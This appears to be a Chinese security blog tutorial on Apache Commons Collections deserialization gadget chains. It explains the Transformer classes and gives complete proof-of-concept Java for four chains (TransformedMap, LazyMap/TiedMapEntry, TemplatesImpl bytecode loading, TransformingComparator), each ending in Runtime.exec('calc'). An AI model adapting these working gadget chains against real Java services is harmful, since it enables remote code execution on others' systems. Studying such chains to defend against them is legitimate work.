作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:3813
阅读时间: 15min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
-
前言
-
前置知识
-
Transformer
-
cc链
-
总结
0x01 前言
闲来无事,与搞开发的同学聊到java反序列化,我便想到ObjectInputStream的readObject()和ObjectOutputStream的writeObject()方法,但除此之外,我便想不出再多,于是出了这篇文章,深度剖析一下
0x02 前置知识
1.序列化所需条件
该类必须实现java.io.Serlalizable接口
创建ObjectOutputStream对象,将对象转换成字节序列,并利用writeObject方法写入输出流中(类属性可重写)
2.java的命令执行
一般通过runtime和processBuilder去进行命令执行,下面给出两个testdemo
package com.demo.example.Agent;
import java.lang.reflect.Method;
public class runtestDemo {
public static void main(String[] args) throws Exception {
//想要使用反射调用的方法如下:
//java.lang.Runtime.getRuntime().exec("calc");
//获取java.lang.Runtime的类对象
Class<?> clazz = Class.forName("java.lang.Runtime");
//获取函数对象
Method getRuntime = clazz.getMethod("getRuntime");
Method exec = clazz.getMethod("exec", String.class);
//调用函数
// 函数.invoke(函数所属对象, 参数) == 函数所属对象.函数(参数)
Object runtime = getRuntime.invoke(clazz); //调用getRuntime方法,返回一个对象
exec.invoke(runtime, "calc");
}
}
package com.demo.example.Agent;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
public class processtestDemo {
public static void main(String[] args) throws Exception {
// 获取到ProcessBuilder类对象
Class<?> clazz = Class.forName("java.lang.ProcessBuilder");
//获取ProcessBuilder的构造函数
Constructor c = clazz.getConstructor(List.class);
// 创建ProcessBuilder实例,并传入初始参数
Object processBuilder = c.newInstance(Arrays.asList("calc"));
//获取start()函数对象
Method start = clazz.getMethod("start");
start.invoke(processBuilder);
}
}
3.java反序列化cc链介绍
cc链指的是apache common-collections组件下的反序列化漏洞,我们可以组合调用组件内的transformer接口以及实现其的ConstantTransformer、InvokerTransformer、ChainedTransformer类来调用runtime和processBuilder来实现命令执行
0x03 Transformer接口
首先重中之重,是首先给大家讲解一下Transformer接口
public interface Transformer {
Object transform(Object var1);
}
传入一个对象,传出一个对象,类似于神经网络中的激活函数,进行数据转换
1.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
接受一个对象返回一个常量
2.InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
接受一个对象,通过java反射机制对对象方法进行调用
3.ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
接受一个数组,对数组每个元素都进行Transform方法调用并把前一个元素调用方法的返回值作为下一个对象的参数值进行调用
0x04 CC链利用
每个cc链的推导都要确保存在传入的参数是可控的,这里给出几个常用的cc利用链
1.TransformedMap利用
这里先给出poc
package com.demo.example.Agent;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class TransformedmapTest {
public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "bbbbb"); //为了之后能使var6等于value
TransformedMap map = (TransformedMap) TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = cla.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object instance = con.newInstance(Retention.class,map);
SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
serializeObjectTool.serialize(instance); //自己写的序列化和反序列化代码
serializeObjectTool.unserialize();
}
}
这段代码首先构建了一个Transformer数组,里面包含了runtime的执行代码
随后通过ChainTransfomer链式组合在一起,通过TransformerMap持有,并通过AnnotationInvocationHandler包装TransformerMap调用执行ChainTransfomer,从而完成命令执行
同理的还有lazymap,在此不过多赘述
2.TiedMapEntry+lazymap利用
继续先上poc
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);//恶意的lazymap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");//恶意的对象
map.put(tiedMapEntry,"value");//调用了一次hash,触发了恶意链
map.remove("aaa");
SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
serializeObjectTool.serialize(map); //自己写的序列化和反序列化代码
serializeObjectTool.unserialize();
}
首先这个poc还是构建了Transformer数组,随后构建成ChainedTransformer对象
随后构建hashmap
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
这里使用了LazyMap.decorate()
方法,构造了一个LazyMap
对象。LazyMap
是一个延迟加载的Map实现,只有在获取某个键时,Transformer
才会被调用,触发恶意链的执行。也就是说,只有在访问LazyMap
中的某个条目时,才会执行chainedTransformer
。
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
TiedMapEntry
是一个特殊的Map.Entry
实现,它将一个条目与一个Map绑定。通过TiedMapEntry
包装lazymap
的条目,创建了一个恶意对象。
map.put(tiedMapEntry, "value");
通过将TiedMapEntry
对象插入map
,会触发LazyMap
的延迟加载机制。由于LazyMap
会在访问条目时执行chainedTransformer
,这时候会触发命令执行链。
map.remove("aaa");
这行代码移除条目"aaa"
,但在移除过程中,LazyMap
的条目仍然会被访问,从而触发命令执行链,执行Runtime.exec("calc")
,从而启动计算器(calc
命令)。
最后便是触发serialize接口
在序列化和反序列化过程中,如果存在恶意对象(如LazyMap
和TiedMapEntry
),会触发chainedTransformer
中的命令执行链。具体来说,反序列化过程会激活LazyMap
,从而导致Runtime.exec("calc")
被调用,执行恶意命令。
3.TransformedMap动态类加载
前面都是把恶意代码封装到Transformer实现类中,如今这条链是通过动态加载的方式执行类中代码
首先看看poc
恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class cc3_test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
poc
public static void main(String[] args) throws Exception {
String url = "org.example.test";
byte[] code = Files.readAllBytes(Paths.get("C:\Users\asus\IdeaProjects\java_cc\target\classes\org\example\cc3_test.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
Field aClass = templatesClass.getDeclaredField("_class");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
name.setAccessible(true);
aClass.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
name.set(templates,"aaa");
aClass.set(templates,null);
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "bbbbb"); //为了之后能使var6等于value
TransformedMap map = (TransformedMap) TransformedMap.decorate(hashmap, null, chainedTransformer);
Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con = cla.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object instance = con.newInstance(Retention.class,map);
SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
serializeObjectTool.serialize(instance); //自己写的序列化和反序列化代码
serializeObjectTool.unserialize();
}
大致逻辑如下
1.读取恶意字节码文件
2.创建TemplateImpl实例并设置其私有字段
3.构建恶意Transformer类
4.继续通过TransformedMap触发恶意代码
5.通过反序列化触发TransformedMap
4.TransformingComparator动态类加载
还是先上poc
public static void main(String[] args) throws Exception {
String url = "org.example.test";
byte[] code = Files.readAllBytes(Paths.get("C:\Users\asus\IdeaProjects\java_cc\target\classes\org\example\cc3_test.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
Field aClass = templatesClass.getDeclaredField("_class");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
Field tfactory = templatesClass.getDeclaredField("_tfactory");
name.setAccessible(true);
aClass.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
name.set(templates, "aaa");
aClass.set(templates, null);
bytecodes.set(templates, codes);
tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue p = new PriorityQueue<>(transformingComparator);
p.add(1);
p.add(2);
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);
SerializeObjectTool serializeObjectTool = new SerializeObjectTool();
serializeObjectTool.serialize(p); //自己写的序列化和反序列化代码
serializeObjectTool.unserialize();
}
逻辑大同小异
1.读取恶意字节码文件
2.创建TemplateImpl实例并设置其私有字段
3.构建恶意Transformer类
4.创建并修改TransformingComparator,触发TransformingComparator中的恶意类
5.通过反序列化触发TransformingComparator
0x05 总结
cc链的种类看似很多,实则大道如一,殊途同归。
或是直接将恶意代码赋予给Transformer对象,或者读取恶意字节码文件动态加载静态代码,最终构成恶意的Transformer类,交付给各个可以通过增删修改的对象触发恶意类,再通过反序列化实例化对象从而完成rce!
原文始发于微信公众号(剑客古月的安全屋):Java安全-深度剖析CC链反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论